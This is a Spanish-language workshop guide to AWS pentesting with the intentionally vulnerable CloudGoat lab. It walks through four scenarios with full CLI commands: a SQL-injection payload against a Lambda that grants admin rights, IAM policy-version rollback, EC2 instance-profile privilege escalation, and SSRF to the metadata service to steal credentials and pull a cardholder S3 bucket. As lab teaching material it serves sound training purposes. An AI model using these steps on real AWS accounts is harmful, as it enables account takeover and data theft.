Esta guía está orientada al acompañamiento del taller "Introducción al Pentesting Cloud con CloudGoat", donde se muestran los fundamentos esenciales para realizar pruebas de seguridad en entornos cloud, utilizando AWS y herramientas como Terraform para la automatización de despliegues.

Acerca de esta guía

Durante el taller, exploraremos conceptos básicos de AWS, como la configuración de servicios y roles, así como la seguridad de buckets S3, entre otros recursos. Además, te sumergirás en técnicas de pentesting enfocadas en identificar y explotar vulnerabilidades en infraestructuras cloud. Este taller es ideal para aquellos que buscan adquirir una base sólida en seguridad en la nube y mejorar sus habilidades de hacking ético usando entornos prácticos y realistas con CloudGoat.

Disclaimer

Todo el contenido mostrado en esta guía es exclusivamente para fines educativos y está orientado bajo los estándares del hacking ético. El conocimiento adquirido a través de esta guía debe utilizarse únicamente con el propósito de mejorar la seguridad en entornos cloud y nunca para actividades destructivas o ilegales. El mal uso de estas técnicas para vulnerar la seguridad de sistemas sin el consentimiento explícito es ilegal y va en contra de los principios éticos de la ciberseguridad. La responsabilidad de utilizar este conocimiento de manera adecuada recae completamente en la persona que lo aprende.

Introducción

El pentesting en AWS y en entornos cloud en general consiste en evaluar la seguridad de las

infraestructuras y aplicaciones desplegadas en la nube para identificar posibles vulnerabilidades que podrían ser explotadas por actores maliciosos. A diferencia del pentesting en infraestructuras tradicionales, donde los activos están bajo control directo, en la nube se debe tener en cuenta el modelo de responsabilidad compartida. Esto significa que el proveedor del servicio en la nube (por ejemplo, AWS) es responsable de la seguridad de la infraestructura subyacente, mientras que el cliente es responsable de proteger sus propios datos, aplicaciones, configuraciones y accesos.

En un ambiente cloud, el pentest puede incluir:

Revisión de configuraciones de seguridad: Asegurar que los servicios de AWS (como EC2, S3, IAM, etc.) estén configurados de manera segura, evitando exposiciones públicas innecesarias o mal configuradas.
Evaluación de permisos y accesos: Verificar que los roles y políticas de IAM (Identity and Access Management) están bien definidos y no otorgan permisos excesivos.
Pruebas de aplicaciones web: Para detectar vulnerabilidades comunes, como inyecciones SQL, cross- site scripting (XSS), entre otras.
Revisión de redes: Validar que las redes virtuales (VPC, subnets, grupos de seguridad) están correctamente segmentadas y que no hay exposición innecesaria a internet.

En general, el pentest en la nube requiere el consentimiento explícito del proveedor de servicios y debe seguir las guías y reglas específicas de cada proveedor para evitar violaciones de términos de uso.

CloudGoat

Introducción al Pentesting Cloud con CloudGoat 2CloudGoat es una herramienta de código abierto diseñada específicamente para practicar y mejorar las habilidades en pruebas de seguridad en entornos cloud, centrada principalmente en AWS. Proporciona escenarios realistas de entornos en la nube vulnerables, que los usuarios pueden desplegar en sus propias

cuentas de AWS para realizar simulaciones de ataques y evaluar su seguridad. CloudGoat es una plataforma educativa utilizada por profesionales de ciberseguridad para familiarizarse con los desafíos y vulnerabilidades específicos de los entornos cloud, y aprender cómo defender infraestructuras en la nube frente a amenazas.

Traducido directo del github de Rhino Security

"CloudGoat es la herramienta de implementación de AWS "Vulnerable by Design" de Rhino Security Labs. Le permite perfeccionar sus habilidades de ciberseguridad en la nube mediante la creación y la realización de varios escenarios de estilo "capturar la bandera". Cada escenario se compone de recursos de AWS organizados juntos para crear una experiencia de aprendizaje estructurada. Algunos escenarios son fáciles, otros son difíciles y muchos ofrecen múltiples caminos hacia la victoria. Como atacante, su misión es explorar el entorno, identificar vulnerabilidades y explotar su camino hacia los objetivos del escenario."

A continuación, se detallan nuestros principales objetivos para CloudGoat:

Experiencias de aprendizaje enfocadas, seleccionadas y de alta calidad: cada uno de los escenarios de CloudGoat debe brindar la oportunidad de experimentar, explorar y desarrollar habilidades prácticas de seguridad en la nube.
Fácil de instalar y usar: entendemos que CloudGoat es un medio para lograr un fin: aprender y practicar pruebas de penetración de seguridad en la nube. Por lo tanto, nuestro objetivo es mantener las cosas simples, directas y confiables.
Modularidad: cada escenario es un entorno de aprendizaje independiente con un objetivo claro (o un conjunto de objetivos), y CloudGoat puede iniciar, restablecer o apagar cada escenario de forma independiente.
Capacidad de expansión: los componentes principales de CloudGoat (aplicación de Python y escenarios) están diseñados para permitir una expansión fácil e independiente, por parte nuestra o de la comunidad.

Antes de continuar, ten en cuenta estas advertencias:

Advertencia n.° 1: CloudGoat crea recursos de AWS vulnerables intencionalmente en su cuenta. NO implemente CloudGoat en un entorno de producción ni junto con ningún recurso confidencial de AWS.
Advertencia n.° 2: CloudGoat solo puede administrar los recursos que crea. Si crea algún recurso usted mismo en el transcurso de un escenario, debe eliminarlo manualmente antes de ejecutar el comando de destrucción.

Terminología

1. ARN (Amazon Resource Name)

Un ARN es un identificador único que permite referenciar de manera precisa a los recursos de AWS dentro de una cuenta. Tienen un formato estándar que incluye el servicio, región, cuenta, y el recurso específico, Introducción al Pentesting Cloud con CloudGoat 3por ejemplo:

arn:aws:iam::123456789012:user/UsuarioEjemplo

2. Rol (Role)

Un rol en IAM es una identidad que puedes asumir temporalmente para obtener permisos específicos enAWS. A diferencia de un usuario, un rol no tiene credenciales permanentes, y se utiliza principalmente para acceder a servicios de AWS o delegar permisos entre cuentas. Es útil para otorgar acceso limitado y controlado sin compartir credenciales.

3. Policy (Política)

Una política es un conjunto de permisos en forma de JSON que define qué acciones están permitidas o denegadas en qué recursos. Las políticas pueden ser adjuntadas a usuarios, grupos o roles y determinan quién puede hacer qué dentro de AWS. Existen políticas gestionadas por AWS y personalizadas por el usuario.

4. Perfil (Profile)

El perfil, en el contexto de AWS, es una configuración local que almacena credenciales y configuraciones predeterminadas en tu máquina para interactuar con AWS CLI o SDKs. Los perfiles permiten gestionar múltiples conjuntos de credenciales de forma sencilla. Se definen en el archivo de configuración de AWS (generalmente ~/.aws/credentials o ~/.aws/config ).

5. Usuario (User)

Un usuario en IAM es una entidad que representa a una persona u aplicación que necesita acceder a los recursos de AWS. Un usuario tiene credenciales permanentes (nombre de usuario y contraseña, o claves de acceso) y se le pueden asignar permisos mediante políticas.

6. Grupo (Group)

Un grupo es una colección de usuarios en IAM. Las políticas se pueden asociar a un grupo para otorgar permisos a todos los usuarios del mismo. Los grupos facilitan la gestión de permisos para varios usuarios con necesidades de acceso similares.

7 . MFA (Multi-Factor Authentication)

MFA es un método de seguridad adicional que requiere no solo una contraseña o clave de acceso, sino también una segunda forma de autenticación, como un código temporal generado por un dispositivo o aplicación de autenticación.

8. Access Key (Clave de acceso)

Es una combinación de un Access Key ID y un Secret Access Key , utilizada para firmar solicitudes que realizas a la API de AWS mediante la CLI, SDKs o herramientas de terceros. Las claves de acceso son asociadas a un usuario de IAM.

9. Trust Policy (Política de Confianza)

Una política de confianza es una política especial asociada a un rol que especifica quién puede asumir el rol. Define la relación de confianza entre el rol y otras entidades (usuarios, servicios o cuentas).

Preparación del Laboratorio

Pre-Requisitos

Linux o MacOS Kernel bash 4.2+
```
 bash --version
```
Python 3.6+

     python --version

Terraform 0.14+ instalado en el $PATH

https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli

AWS CLI instalado en el $PATH

https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html#cliv2-linux-install

Cuenta en AWS con suficientes privilegios para crear y destruir recursos
jq - jason parser

https://jqlang.github.io/jq/

Descargar CloudGoat del github de RhinoSecurity

https://github.com/RhinoSecurityLabs/cloudgoat

Set Up

1. Crear un usuario en AWS para el ejercicio y asignar las siguientes políticas

y asignar una llave de acceso

2. Configurar el perfil de AWS en AWS cli

    aws configure --profile name

3. Configurar el perfil de CloudGoat en el directorio de la herramienta

    sudo ./cloudgoat.py config profile

4. Configurar el Whitelist

    sudo ./cloudgoat.py config whitelist --auto

esto va a adjuntar la dirección IP desde donde se va a tener acceso a los ambientes que se creen en cloudgoat.

Abuso de Funciones Lambda Vulnerables

Una función Lambda es un servicio de computación sin servidor (serverless) proporcionado por AWS que permite ejecutar código en respuesta a eventos sin necesidad de administrar servidores. Con AWS Lambda puedes ejecutar funciones de manera escalable y bajo demanda, pagando únicamente por el tiempo de ejecución y los recursos consumidos. Estas funciones son ideales para tareas como el procesamiento de datos en tiempo real, la automatización de flujos de trabajo, la creación de microservicios y la respuesta a cambios en servicios como S3, DynamoDB o API Gateway. Lambda simplifica la gestión de la infraestructura al enfocarse exclusivamente en el código, facilitando la implementación de soluciones ágiles y eficientes.

Primer Escenario (Fácil)

./cloudgoat.py create vulnerable_lambda

Objetivo: Encontrar el secreto del escenario. (cg-secret-XXXXXX-XXXXXX)

Ruta de Explotación:

En este escenario serás el usuario “bilbo”. Asumirás un rol con más privilegios, descubrirás funciones lambda que aplique políticas a usuarios y explotarás una vulnerabilidad en una función para escalar privilegios del usuario bilbo para poder buscar secretos.

CludGoat usa terraform para poder hacer el despliegue automático de todos los servicios que necesitamos para crear este ambiente en la cuenta AWS sobre la que estamos trabajando y que hemos definido en nuestro perfil.

Si todo se ejecutó correctamente, recibiremos las llaves secreta y de acceso para el usuario bilbo.

También dicho usuario deberá verse ahora reflejado en nuestra lista de usuarios en IAM

Ahora debemos configurar el perfil del usuario bilbo en aws cli con las credenciales que se crearon en el paso anterior.

aws configure --profile bilbo

En el repositorio de la herramienta se encuentra el Walkthrough de este escenario y también un cheat-sheet para todos los comandos disponibles.

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_lambda/cheat_sheet.md

En esta guía vamos a escribir nuestros comandos en la terminal para desarrollar nuestra memoria muscular (muscle memory) a través de la repetición.

Obteniendo permisos del usuario bilbo

Nuestro primer objetivo al tener el acceso de un usuario es revisar que permisos tiene disponibles.

En la consola aws vamos a ejecutar paso a paso los siguientes comando para poder leerlos

aws --profile bilbo —region us-east-1 sts get-caller-identity

esto nos devuelve el ARN y el nombre completo del usuario

ahora revisemos las políticas de este usuario

aws --profile bilbo --region us-east-1 iam list-user-policies --user-name 
cg-bilbo vulnerable_lambda_cgidtx2kosmvdf

El nombre de la política nos hace obvio que el usuario tiene permiso de asumir roles. Ahora veamos los permisos y privilegios de dicha política.
aws --profile bilbo --region us-east-1 iam get-user-policy --user-name 
cg-bilbo-vulnerable_lambda_cgidtx2kosmvdf --policy-name 
cg-bilbo vulnerable_lambda_cgidtx2kosmvdf-standard-user-assumer
Acá podemos ver que este usuario tiene el rol necesario para invocar lambdas y muy importante notar que
tiene un wildcard (*) lo cual nos deja un espacio más abierto que podría ser vulnerable y propicio para
futuras explotaciones.
De igual forma, podemos ver que tipo de acciones puede ejecutar este usuario, y dado que tiene múltiples
wildcards podemos intuir que hay mucho que descubrir y explotar.

Referencia : https://docs.aws.amazon.com/es_es/IAM/latest/UserGuide/id_credentials_temp_control-
access_assumerole.html

Listar todos los roles y asumir un rol para elevar privilegios

Veamos que roles se encuentran asignados para el usuario bilbo.

aws --profile bilbo --region us-east-1 iam list-roles | grep cg-

Ahora podemos ver todas las políticas que tiene ese rol

aws --profile bilbo --region us-east-1 iam list-role-policies --role-name cg-lambda-invoker-vulnerable_lambda_cgidtx2kosmvdf

Sabiendo esto, podemos obtener las credenciales asumiendo el rol de cloudgoat que puede invocar lambdas

aws --profile bilbo --region us-east-1 sts assume-role --role-arn
arn:aws:iam::909703925452:role/cg-lambda-invoker-vulnerable_lambda_cgidtx2kosmvdf 
--role-session-name blackgem

Usando sts (security session token) para asumir el rol, podemos ver en texto plano las credenciales, incluyendo el SecretAccessKey.

Listar Lambdas para identificar la Lambda vulnerable objetivo

Con este comando vamos a poder ver todas las funciones lambda. Para saber cuales son las que están

asociadas a cloudgoat, podemos identificarlas dado que empiezan con “cg”

aws --profile blackgem --region us-east-1 lambda list-functions

Ahora si vemos la lista de las funciones. Nota: dado que nombramos la sesión en el paso anterior como “blackgem” ese es el nombre del assumed-role que estamos especificando en nuestro comando.

En la primera función ubicamos que la descripción hace referencia a que una política administrada será aplicada a un usuario de nuestra preferencia siempre y cuando la base de datos diga que está bien...Es decir tenemos una estructura de base de datos a la que podemos ahora hacer blanco para un posible ataque de inyección.

aws --profile blackgem --region us-east-1 lambda get-function --function-name

vulnerable_lambda_cgdtx2kosmvdf-policy_applier_lambda1

Esta función contiene una ubicación que nos lleva hacia un S3 bucket que aparentemente tiene snapshots disponibles y por tanto se puede descargar en un archivo .zip.

Lo guardamos y descomprimimos y vemos que efectivamente tiene una lista de archivos interesantes.

incluyendo algunos archivos relacionados a una base de datos.

Y ahora podemos comenzar a ver el contenido de cada archivo / folder. Comencemos por ver el contenido de main.py

Yo he utilizado sublime text pero se puede abrir con cat, nano, vim, etc.

excelente, ya tenemos la estructura de la base de datos.

Elevación de privilegios

Ahora podemos invocar la función lambda con el perfil asumido, pasando el nombre del usuario bilbo y el injection payload. Esto funcionará ya que el usuario bilbo tiene la capacidad de asumir cualquier rol así que dentro del archivo con el payload vamos a actualizar la política que nos hará administradores.

Creamos un archivo con el payload

{
  "policy_names": ["AdministratorAccess' -- "],
  "user_name": "[bilbo_user_name_here]"
}

y ahora construimos el comando a ejecutar

aws --profile blackgem --region us-east-1 lambda invoke --function-name 
vulnerable_lambda_cgidtx2kosmvdf-policy_applier_lambda1 --cli-binary-format 
raw-in-base64-out --payload file:///home/snowden/nsa/CloudGoatWS/payload.json out.txt

Se ejecutó exitosamente y así podemos ver el resultado del arhivo out.txt

cat out.txt

Listo, el usuario bilbo ya es administrador.

Listar los secretos del Secrets Manager

En AWS Secrets Manager permite administrar el acceso a las aplicaciones, los servicios y los recursos de TI.

Como el usuario bilbo ya es admin, podemos ver toda la lista de secretos guardados en Secrets Manager

aws --profile bilbo --region us-east-1 secretsmanager list-secrets

Y con el siguiente comando podemos obtener el valor de un secreto específico. En la imagen podemos ver que el valor ARN contiene el secreto con la bandera que necesitamos descifrar.

aws --profile bilbo --region us-east-1 secretsmanager get-secret-value 
--secret-id arn:aws:secretsmanager:us-east-1:909703925452:secret:vulnerable_lambda_cgidtx2kosmvdf-final_flag-brNeTE

y listo, ahora ya tenemos nuestra final flag: cg-secret-846237-284529. El contenido en un pentest en la vida real va a contener los accesos para aplicaciones y de esta forma realizar movimientos de post-explotación.

Referencia: https://aws.amazon.com/es/secrets-manager/

Privilege Escalation via Policy Rollback

Segundo Escenario (Fácil)

./cloudgoat.py create iam_privesc_by_rollback

Objetivo: Adquirir privilegios Full Admin

Ruta de explotación:

Al comenzar con un usuario de IAM muy limitado, el atacante puede revisar versiones anteriores de políticas de IAM y restaurar una que permita privilegios de administrador completos, lo que da como resultado una explotación de escalación de privilegios.

Al ejecutar el comando para este escenario, se crean los servicios y recursos que se van a utilizar a lo largo del ejercicio.

En este escenario comenzamos con el usuario “Raynor” podemos verificar que se ha creado un usuario con este nombre en nuestro IAM.

Vamos a comenzar creando el perfil del usuario raynor con las credenciales que acabamos de obtner tal como lo hicimos en el ejercicio anterior.

aws --configure profile raynor

Revisamos el nombre completo del usuario

aws --profile raynor --region us-east-1 sts get-caller-identity

o también podemos usar

aws iam get-user --profile raynor

Veamos cuales son los detalles de autorización que tiene este usuario. Nota este comando devuelve todos los usuarios en la cuenta de AWS.

aws --profile raynor --region us-east-1 iam get-account-authorization-details

Existen muchas maneras de enumerar usuarios, políticas y otros recursos. En hacktricks hay una lista extensa de comandos para aws cli que nos pueden dar mayor información.

Referencia: https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-iam-enum

Ahora procedamos a revisar la lista de versiones que tiene asociadas esa política

aws iam list-policy-versions --policy-arn arn:aws:iam::909703925452:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid9yorwr7rgd

--profile raynor

En cada versión podemos identificar su versionId, necesitamos comenzar a ver los detalles. En este ejemplo listamos la que numero 4 que es en la que encontramos los permisos más abiertos

aws iam get-policy-version --policy-arn arn:aws:iam::909703925452:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid9yorwr7rgd

--version-id v4 --profile raynor

Nuevamente podemos observar que hay wildcards (*) o star permissions, eso quiere decir que es potencialmente explotable.

Esto nos indica que tenemos todas las acciones disponibles permitdas a todos los recursos.

Ahora la política v4 será la versión por defecto

aws iam set-default-policy-version --policy-arn arn:aws:iam::909703925452:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid9yorwr7rgd

--version-id v4 --profile raynor

Y listo, podemos comprobar en IAM que hemos cumplido el objetivo de tener full access a todos los recursos.

Y si comparamos con la política original AdministratorAccess nos damos cuenta que son exactamente los mismos permisos.

Privilege Escalation via EC2 Creation

Tercer Escenario (Medio)

./cloudgoat.py create iam_privesc_by_attachment

Objetivo: Eliminar la Instancia EC2 “cg-super-critical-security-server”

Ruta de explotación:

En este escenario vamos a tratar de aprovechar los permisos de adjuntar perfiles de instancia para crear una nueva instancia de EC2 con privilegios significativamente mayores que los suyos. Con acceso a esta nueva instancia de EC2, el atacante obtiene plenos poderes administrativos dentro de la cuenta de destino y puede lograr el objetivo del escenario: eliminar el servidor de seguridad supercrítico de cg y allanar el camino para futuras acciones maliciosas.

Introducción al Pentesting Cloud con CloudGoat 22Ejecutamos el comando para este escenario y creamos el perfil necesario con las credenciales para el usuario “Kerrigan”

Ahora necesitamos ver a las instancias a las que tenemos acceso

aws ec2 describe-instances --profile kerrigan

Podemos revisar todas las instancias que este perfil puede enumerar, y efectivamente se han creado una instancia EC2 en el grupo cg-ec2-ssh-iam_privesc_by_attachment

También necesitamos identificar cual es el id de la intancia que queremos eliminar para saber si se encuentra dentro de este grupo.

El Id de la instancia es: i-021fc71b46a90aba5

Podemos incluso revisar si con los privilegios actuales podemos eliminar esta instancia

aws ec2 terminate-instances --instance-ids i-021fc71b46a90aba5 --profile kerrigan

Y efectivamente con nuestros permisos actuales no podemos eliminar la instancia.

Veamos ahora cuales son los permisos iam que tenemos en dichas instancias para saber donde nos encontramos.

aws iam list-instance-profiles --profile kerrigan

Y ahora la lista de roles disponibles:

aws iam list-roles --profile kerrigan

Cuando listamos los roles que tenemos disponibles dentro de las instancias podemos observar que tenemos acceso a cg-ec2-meek-instance-profile-iam.. y que podemos asumir el role de sts:AsumeRole. La acción sts:AssumeRole en AWS Security Token Service (STS) permite a un usuario o aplicación obtener credenciales temporales para acceder a recursos de AWS. Estas credenciales temporales consisten en una clave de acceso ID, una clave secreta de acceso y un token de seguridad.

Para esto primero debemos eliminar el rol existente

aws iam remove-role-from-instance-profile --instance-profile-name

cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidd34u43f2rp --role-name

cg-ec2-meek-role-iam_privesc_by_attachment_cgidd34u43f2rp --profile kerrigan

Y ahora agregar el nuevo rol para asumir el que tiene acceso de full-admin

aws iam add-role-to-instance-profile --instance-profile-name

cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidd34u43f2rp

--cg-ec2-mighty-role iam_privesc_by_attachment_cgidd34u43f2rp --profile kerrigan

Ahora debemos crear un par de llaves que nos servirán para autenticarnos en la siguiente instancia ec2 que creemos

aws ec2 create-key-pair --key-name pwned --profile kerrigan --query 'KeyMaterial' --output text > pwned.pem

chmod 400 pwned.pem

Ahora como atacantes podemos crear una nueva instancia ec2 con estas llaves y tener una shell hacia esa instancia.

Sabemos que tenemos el rol disponible y las llaves, ahora necesitamos validar la conectividad remota para saber si podemos crear la instancia.

Enumeramos las subnets a las que pertenecen las instancias ec2

aws ec2 describe-subnets --profile kerrigan

Y ahora los security groups. Todo esto nos servirá para preparar nuestro comando de creación de la instancia.

aws ec2 describe-security-groups --profile kerrigan

aws ec2 run-instances --image-id ami-005fc0f236362e99f --instance-type t3.micro

--iam-instance-profile Arn=arn:aws:iam::909703925452:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidd34u43f2rp --key-name pwned --profile kerrigan

--subnet-id subnet-0cce642b62ef432de --security-group-ids sg-086309904afcf50d1

Listo, hemos creado la instancia

Necesitamos conocer cual es el nombre DNS público para conectarnos a esta instancia

aws ec2 describe-instances --instance-ids i-08e8b493731a47149 --profile kerrigan

Y el usuario que usaremos será el usuario ubuntu ya que AWS crea nombres de usuarios predeterminados según la AMI utilizada.

Para Amazon Linux: ec2-user

Para CentOS: centos o ec2-user

Para Ubuntu: ubuntu

Para Debian: admin

Para Fedora: fedora o ec2-user

Para RHEL: ec2-user o root

Ahora podemos conectarnos via ssh a esta instancia

ssh -i pwned.pem ubuntu@ec2-44-198-164-143.compute-1.amazonaws.com

Dado que cuando creamos una nueva instancia no conocemos el estado de sus actualizaciones, necesitamos:

sudo apt-get update

Instalamos aws cli en esta instancia creada donde tenemos full-admin access

sudo apt-get install awscli
Y dentro de la cli podemos enumerar las instancias a las que tenemos acceso

aws ec2 describe-instances --region us-east-1

y efectivamente vemos la instancia objetivo que queremos eliminar

Entonces, para lograr el objetivo de este escenario debemos eliminar la instancia ec2
aws ec2 terminate-instances --instance-ids i-077418b85abdfdc05 --region us-east-1

Y hemos logrado nuestro objetivo.


Robando números de tarjeta de crédito Breaching S3 Buckets

Cuarto Escenario (Medio)

./cloudgoat.py create cloud_breach_s3

Objetivo: Descargar datos confidenciales desde un bucket S3

Ruta de explotación:

Partiendo como un extraño anónimo sin acceso ni privilegios, aprovecharemos un servidor proxy inverso mal configurado para consultar el servicio 
de metadatos de EC2 y obtener claves de perfil de instancia.
Luego, usaremos esas claves para descubrir, acceder y exfiltrar datos confidenciales de un depósito de S3.
Ejecutamos nuestro script y esta vez no vamos a configurar ningún usuario sino que tenemos la
información para identificar la ip de una instancia ec2.

Podemos verificarlo en nuestra consola en AWS

Ahora vamos a intentar interactuar con la ip de la ec2 creada.

Sabemos que creamos un proxy y es justo lo que esta evitando las conexiones hacia esta instancia. 
Es decir debemos modificar la forma en la que queremos hablar con esta ip.
Cuando vemos una referencia a requests podemos utilizar burpsuite para comenzar a verificar y manipular requests.

La mayoría de las instancias EC2 pueden acceder a su IMDS (Instance Metadata Service) en 169.254.169.254.

Referencia: https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/

Veamos como luce en el request:

al final del listado tenemos la carpeta latest por lo que revisamos su contenido y vemos que tenemos acceso a otra ruta llamada meta-data

Ahora revisemos que tiene la carpeta iam/security-credentials y navegando encontramos las credenciales para la llave de acceso a la instancia.

Con esta información podemos crear un nuevo perfil y vamos a llamarle hacker.
Revisamos si nuestro perfil fue creado
  
aws --profile hacker --region us-east-1 sts get-caller-identity

Listo, dado que el escenario nos pide acceder a información sensible, nos disponemos a listar los S3 buckets.

aws s3 ls --profile hacker


ahora necesitamos leer la información que está dentro de este bucket. Para esto copiamos el contenido del bucket en un directorio local.

aws s3 sync s3://cg-cardholder-data-bucket-cloud-breach-s3-cgid8et0r5twv0 ./cardholder-data --profile hacker

Se nos crean los directorios y revisamos la información dentro de la carpeta card-holder-data

Ya podemos leer la información sensible y las bases de datos de tarjetahabientes.

Con esto logramos el objetivo de este escenario.

Conclusión

Para concluir esta guía introductoria sobre pentesting en AWS utilizando CloudGoat, es importante destacar la relevancia de practicar en entornos controlados 
y seguros antes de aplicar técnicas de seguridad en infraestructuras productivas. 
CloudGoat nos ofrece un entorno dinámico donde podemos explorar vulnerabilidades y aprender cómo mitigar posibles amenazas en AWS,
todo dentro de un marco ético y responsable. 
Al finalizar este recorrido, habrás adquirido una base sólida en el uso de herramientas y estrategias esenciales para la evaluación de seguridad en la nube, 
preparándote para enfrentar desafíos más avanzados en el campo del pentesting en AWS. El aprendizaje apenas comienza!

Happy Hacking! 🖤